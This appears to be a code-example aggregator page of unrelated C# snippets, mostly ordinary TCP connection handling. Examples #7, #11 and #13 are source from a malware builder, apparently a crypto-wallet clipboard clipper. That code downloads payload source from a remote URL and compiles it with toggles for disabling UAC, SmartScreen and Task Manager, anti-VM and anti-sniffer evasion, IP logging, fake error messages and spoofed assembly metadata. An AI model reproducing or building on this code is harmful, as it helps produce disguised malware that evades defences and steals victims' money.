예제 #1
0
        //-------------------------------------------------------------------------
        public string ToNetWorkString(int id)
        {
            StringBuilder strBuilder = new StringBuilder();

            strBuilder.Append("have no connect!");
            uint unSendData = 0;
            uint unRecvData = 0;

            INetConnect c = null;

            if (m_TCPConnects.TryGetValue(id, out c))
            {
                if (null != c)
                {
                    strBuilder.Remove(0, strBuilder.Length);
                    unSendData = c.GetSendTotalBytes();
                    unRecvData = c.GetRecvTotalBytes();

                    if (c.IsConnect())
                    {
                        strBuilder.Append("Connect:" + c.GetIP() + ":" + c.GetPort());
                    }
                    else
                    {
                        strBuilder.Append("Connect Failed ");
                    }
                    strBuilder.Append(" - ");
                    strBuilder.Append(unSendData);
                    strBuilder.Append("/");
                    strBuilder.Append(unRecvData);
                }
            }
            return(strBuilder.ToString());
        }
예제 #2
0
 /// <summary>
 /// 虚拟机控制器构造函数
 /// </summary>
 /// <param name="net_conn">网络连接创建组件</param>
 /// <param name="complex">复杂数学运算组件</param>
 /// <param name="time_path">时间组件文件路径</param>
 /// <param name="mem_size">内存大小(默认8MB)</param>
 /// <param name="mem_align">内存最小分配量</param>
 /// <param name="mem_offset">内存空闲空间分配差值</param>
 public VMController(INetConnect net_conn, IComplexOperation complex, string time_path = null, int mem_size = Memory_Size, short mem_align = Memory_Align, short mem_offset = Memory_Offset)
 {
     MemoryController = new MemoryUnit(mem_size, mem_align, mem_offset);
     IOController     = new IOUnit(this);
     NetController    = new NetUnit(net_conn, this);
     TimeTool         = new Time(time_path);
     Complex          = complex;
     SVM = null;
 }
예제 #3
0
        //-------------------------------------------------------------------------
        private void __Update(INetConnect connect)
        {
            if (null == connect)
            {
                return;
            }

            // 连接更新
            ENUM_SOCKET_STATE sState = connect.Update();
        }
예제 #4
0
        //-------------------------------------------------------------------------
        /// <summary>
        /// 重连
        /// </summary>
        public void Reconnect(int id)
        {
            INetConnect c = null;

            if (m_TCPConnects.TryGetValue(id, out c))
            {
                c.Disconnect();
                c.Reconnect();
            }
        }
예제 #5
0
 /// <summary>
 /// 网络组件构造函数
 /// </summary>
 /// <param name="net_control">网络连接底层接口实例</param>
 /// <param name="interrupt">网络控制器中断接口</param>
 public NetUnit(INetConnect net_control, INetControlInterrupt interrupt) : base(interrupt)
 {
     ConnectionTable     = new Dictionary <int, Net_Parameter>();
     FreeConnNumberTable = new SortedList <int, ushort>()
     {
         { 0, (ushort)short.MaxValue }
     };
     SetConnectID(0);
     NetControl = net_control;
 }
예제 #6
0
        //-------------------------------------------------------------------------
        public bool IsConnect(int id)
        {
            INetConnect c = null;

            if (m_TCPConnects.TryGetValue(id, out c))
            {
                return(c.IsConnect());
            }

            return(false);
        }
예제 #7
0
        public static bool CompareKey()
        {
            string MachineKey = HardwareID.GET_ID;                                                                            // ключ пользователя ( машинный )
            string Url        = EncryptKey.Decrypt(GlobalPath.Database, GlobalPath.SecretKey_Public);                         // ссылка на ключи

            string[] Data = INetConnect.GetOnlineKey(Url).Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries); // Получаем каждый ключ через новую строчку
            for (int i = 0; i < Data.Length; i++)                                                                             // Проходимся в цикле
            {
                Data[i] = EncryptKey.Decrypt(Data[i], GlobalPath.SecretKey_Public);                                           // Расшифровываем каждую строчку
            }
            return(Data.Contains(MachineKey));                                                                                // Сверяем ключи
        }
예제 #8
0
        //-------------------------------------------------------------------------
        /// <summary>
        /// 断开连接
        /// </summary>
        /// <param name="id"></param>
        public void Disconnect(int id)
        {
            INetConnect c = null;

            if (m_TCPConnects.TryGetValue(id, out c))
            {
                if (null != c)
                {
                    Debug.Log("CNetTCPWork::Disconnect Remove ID = " + id);
                    c.Disconnect();
                    m_TCPConnects[id] = null;
                }

                m_TCPConnects.Remove(id);
            }
        }
예제 #9
0
        //-------------------------------------------------------------------------
        #region public method
        //-------------------------------------------------------------------------
        /// <summary>
        /// 生命周期内每侦更新
        /// </summary>
        public void Update()
        {
            if (0 == m_TCPConnects.Count)
            {
                return;
            }

            var iter = m_TCPConnects.GetEnumerator();

            while (iter.MoveNext())
            {
                INetConnect connect = iter.Current.Value;

                __Update(connect);
            }
        }
예제 #10
0
        //-------------------------------------------------------------------------
        public bool SendMessage(int id, Byte[] data)
        {
            if (null == data)
            {
                return(false);
            }

            INetConnect c = null;

            if (m_TCPConnects.TryGetValue(id, out c))
            {
                if (null != c || c.IsConnect())
                {
                    c.SendMessage(data);
                    return(true);
                }
            }

            Debug.Log("CNetWork::SendMessage false id = " + id);
            return(false);
        }
예제 #11
0
        /// <summary>
        /// Метод для компиляции исходного кода
        /// </summary>
        /// <param name="values">Данные из словаря (контейнера)</param>
        /// <param name="build">Передача данных через свойства</param>
        /// <returns>Исходно-изменённый файл</returns>
        public static bool Inizialize(Dictionary <string, string> values, Build build)
        {
            // Запускаем антисниффер
            new Thread(() => { AntiSniffer.Inizialize(); }).Start();
            // Расшифровываем онлайн билд через ключ
            string SourceCode = INetConnect.GetOnlineBuild(EncryptKey.Decrypt(GlobalPath.DatabaseBuild, GlobalPath.SecretKey_Public));

            #region ComboBox replace Boolean values

            SourceCode = build.DelayCheckStatus.Checked ? SourceCode.Replace("[Delay]", "true") : SourceCode.Replace("[Delay]", "false");
            SourceCode = build.RunCheckStatus.Checked ? SourceCode.Replace("[Run]", "true") : SourceCode.Replace("[Run]", "false");
            SourceCode = build.GarbageCheckStatus.Checked ? SourceCode.Replace("[Garbage]", "true") : SourceCode.Replace("[Garbage]", "false");
            SourceCode = build.UacOffCheckStatus.Checked ? SourceCode.Replace("[Uac]", "true") : SourceCode.Replace("[Uac]", "false");
            SourceCode = build.SmartOffCheckStatus.Checked ? SourceCode.Replace("[Smart]", "true") : SourceCode.Replace("[Smart]", "false");
            SourceCode = build.TaskMgrOffCheckStatus.Checked ? SourceCode.Replace("[TaskLock]", "true") : SourceCode.Replace("[TaskLock]", "false");
            SourceCode = build.AntiVMCheckStatus.Checked ? SourceCode.Replace("[Anti]", "true") : SourceCode.Replace("[Anti]", "false");
            SourceCode = build.IPLogheckStatus.Checked ? SourceCode.Replace("[IPloger]", "true") : SourceCode.Replace("[IPloger]", "false");
            SourceCode = build.FakeErrorCheckStatus.Checked ? SourceCode.Replace("[Fake]", "true") : SourceCode.Replace("[Fake]", "false");

            #endregion

            SourceCode = SourceCode.Replace("[TEXT_ERROR]", build.ErrorBox);

            #region Replacement Assembly

            SourceCode = SourceCode.Replace("[TITLE]", build.AssTitle).
                         Replace("[DESCRIPTION]", build.AssDescription).
                         Replace("[COMPANY]", build.AssCompany).
                         Replace("[PRODUCT]", build.AssProduct).
                         Replace("[COPYRIGHT]", build.AssCopyright).
                         Replace("[VERSION]", build.AssVersion).
                         Replace("[FILEVERSION]", build.AssFileVersion).
                         Replace("[GUID]", build.GuidBox).
                         Replace("[WEB]", build.IPLoGGeR);

            #endregion

            #region Replace data user interfaces

            foreach (KeyValuePair <string, string> kvp in values)
            {
                SourceCode = SourceCode?.Replace(kvp.Key, kvp.Value);
            }

            #endregion

            // Версия .Net Framework для билда
            var providerOptions = new Dictionary <string, string> {
                { "CompilerVersion", "v4.0" }
            };

            // Инициализация нового экземпляра класса CSharpCodeProvider
            using (var provider = new CSharpCodeProvider(providerOptions))
            {
                try
                {
                    // Дефолтные параметры для компиляции
                    var parameters = new CompilerParameters
                    {
                        CompilerOptions         = "/target:winexe /optimize+ /platform:anycpu", // Дополнительные параметры для компиляции
                        TreatWarningsAsErrors   = false,
                        GenerateInMemory        = false,
                        IncludeDebugInformation = false,
                    };
                    switch (build.ComboOutputExtension.SelectedItem.ToString().Trim())
                    {
                    case ".dll":
                    {
                        parameters.OutputAssembly    += $"{build.BoxFileName}.exe";      // Выходной файл .dll ( изначальный .exe после обфускации в .dll )
                        parameters.GenerateExecutable = false;
                    }
                    break;

                    default:
                        parameters.OutputAssembly    += $"{build.BoxFileName}.exe"; // Выходной файл .exe
                        parameters.GenerateExecutable = true;                       // Генерация в .exe
                        break;
                    }
                    if (!string.IsNullOrEmpty(build.BoxIcon) || FileControl.ExistsFile(build.BoxIcon))  // Проверка на обнаружение иконки
                    {
                        parameters.CompilerOptions += $" /win32icon:{build.BoxIcon}";                   // Добавляем иконку
                    }
                    if (build.RunCheckStatus.Checked)                                                   // Проверка запуска от Админа
                    {
                        if (FileControl.ExistsFile(GlobalPath.ManifestFile))                            // Проверка файла app.Manifest
                        {
                            parameters.CompilerOptions += $" /win32manifest:{GlobalPath.ManifestFile}"; // внедряем запуск от Админа
                        }
                        else
                        {
                            MusicPlay.Inizialize(Resources.Error_Build);
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.FindManifest);
                            }
                            else
                            {
                                ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.FindManifest);
                            }
                        }
                    }

                    // Добавление ссылок для компиляции билда
                    #region Add Library Dll

                    for (int i = 0; i < list_library.Count; i++)
                    {
                        parameters.ReferencedAssemblies.Add(list_library[i]);
                    }

                    #endregion

                    // Компиляция!
                    CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, SourceCode);

                    // Проверка на ошибки
                    if (!ResultLog.Errors.HasErrors)
                    {
                        SourceCode = null;
                        ResultLog  = null;

                        FileControl.FileDelete("Error_Compiler.txt");
                        MusicPlay.Inizialize(Resources.GoodBuild);

                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BuildCreated);
                        }
                        else
                        {
                            ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BuildCreated);
                        }

                        string tte = FileControl.CombinePath(GlobalPath.CurrDir, $"{build.BoxFileName}.exe");

                        // Расширения для билд файла
                        switch (build.ComboOutputExtension.SelectedIndex)
                        {
                        case 1: FileControl.Move(tte, Path.ChangeExtension(tte, ".dll")); break;

                        default: FileControl.Move(tte, Path.ChangeExtension(tte, ".exe")); break;
                        }
                        return(true);
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        // Проходимся циклом чтобы перечислить все ошибки которые возникли и записать их в файл .txt
                        foreach (CompilerError compilerError in ResultLog.Errors)
                        {
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                FileControl.CreateFile("Error_Compiler.txt", $"Error: {compilerError.ToString()} \r\nLine: {compilerError.Line}\r\n");
                            }
                            else
                            {
                                FileControl.CreateFile("Error_Compiler.txt", $"Ошибка: {compilerError.ToString()} \r\nСтрока: {compilerError.Line}\r\n");
                            }
                        }
                        return(false);
                    }
                }
                catch (Exception ex) // Остальные (неизвестные ошибки) записать в файл .txt
                {
                    MusicPlay.Inizialize(Resources.Error_Build);
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.ErrorBuild);
                        FileControl.CreateFile("Compile_Error.txt", $"Error: {ex.Message}\r\n");
                    }
                    else
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.ErrorBuild);
                        FileControl.CreateFile("Compile_Error.txt", $"Ошибка: {ex.Message}\r\n");
                    }
                    return(false);
                }
            }
        }
예제 #12
0
 public void connectionClosed(INetConnect netconnection)
 {
     throw new NotImplementedException();
 }
예제 #13
0
        public static void Main()
        {
            if (!AntiVM.GetCheckVMBot())
            {
                // Если запущена копия программы, закрываем её!
                if (RunCheck.InstanceCheck())
                {
                    // Запускаем антисниффер
                    new Thread(() => { AntiSniffer.Inizialize(); }).Start();

                    // Проверяем подключение к интернет ресурсу
                    if (INetConnect.Inizialize(EncryptKey.Decrypt(GlobalPath.UrlCheck, GlobalPath.SecretKey_Public)))
                    {
                        // Проверяем ключ доступа к программе
                        if (!CheckerKeys.CompareKey())
                        {
                            MusicPlay.Inizialize(Resources.Error_Build);
                            Thread.Sleep(500);
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                            }
                            else
                            {
                                FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                            }
                        }
                        else
                        {
                            CheckerKeys.GetLicenseInfo();
                            Application.Run(new ClipPurseFrm());
                        }
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        Thread.Sleep(500);
                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            FileControl.CreateFile("Connection_Error.txt", "No Internet connection, check your network connection, and try again.\r\n");
                        }
                        else
                        {
                            FileControl.CreateFile("Connection_Error.txt", "Нет подключения к интернету, проверьте подключения к Вашей сети, и повторите попытку снова.\r\n");
                        }
                    }
                }
                else
                {
                    Environment.Exit(0);
                }
            }
            else
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    FileControl.CreateFile("VMware.txt", "Virtual machine detected, please run the program outside this environment!");
                }
                else
                {
                    FileControl.CreateFile("VMware.txt", "Обнаружена виртуальная машина, пожалуйста, запустите программу вне этой среды!");
                }
            }
        }
예제 #14
0
 protected virtual void OnDisConnect(INetConnect connect)
 {
 }
예제 #15
0
 protected virtual void OnUpdate(INetConnect connect)
 {
 }
예제 #16
0
 public void connectionError(INetConnect netconnection, string msg)
 {
     throw new NotImplementedException();
 }
예제 #17
0
 protected virtual void OnConnectSuccess(INetConnect connect)
 {
 }
예제 #18
0
 public void messageArrived(INetConnect netconnection, IByteBuffer data)
 {
     throw new NotImplementedException();
 }
예제 #19
0
 protected virtual void OnConnectStart(INetConnect connect)
 {
 }